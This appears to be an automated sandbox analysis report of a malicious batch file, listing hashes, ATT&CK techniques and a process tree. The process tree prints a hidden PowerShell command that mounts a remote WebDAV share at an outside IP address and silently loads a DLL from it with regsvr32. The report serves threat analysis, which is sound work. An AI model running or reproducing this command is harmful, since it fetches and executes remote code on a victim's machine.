beff930d221b0be2c125c5e0696c7aafe08275fc4a29ced67e690dc4545af1e4

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 09:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

30874130781604322205.bat
Size

2KB
MD5

fde75bc8a9edbfb776c5d23c3895eb5c
SHA1

87c28f5ac19bcfa2baf73ac3041225d37eda160e
SHA256

beff930d221b0be2c125c5e0696c7aafe08275fc4a29ced67e690dc4545af1e4
SHA512

23a25026707c1fc0849f0fbec8850bf705e3440806df9d7833303be8c59d8be3ded3874b2b8efcf9e88eb6c1601f8a6bb3db462812fca17c203c4852d5af1e00

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2220	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2220	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2156	wordpad.exe
2156	wordpad.exe
2156	wordpad.exe
2156	wordpad.exe
2156	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 2156	1640	cmd.exe	31
PID 1640 wrote to memory of 2156	1640	cmd.exe	31
PID 1640 wrote to memory of 2156	1640	cmd.exe	31
PID 1640 wrote to memory of 2220	1640	cmd.exe	32
PID 1640 wrote to memory of 2220	1640	cmd.exe	32
PID 1640 wrote to memory of 2220	1640	cmd.exe	32
PID 2220 wrote to memory of 2748	2220	powershell.exe	34
PID 2220 wrote to memory of 2748	2220	powershell.exe	34
PID 2220 wrote to memory of 2748	2220	powershell.exe	34
PID 2220 wrote to memory of 2788	2220	powershell.exe	35
PID 2220 wrote to memory of 2788	2220	powershell.exe	35
PID 2220 wrote to memory of 2788	2220	powershell.exe	35
PID 2220 wrote to memory of 2788	2220	powershell.exe	35
PID 2220 wrote to memory of 2788	2220	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\30874130781604322205.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\2425236266541.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2748
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\2425236266541.dll
    3⤵
    PID:2788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2220-23-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2220-24-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download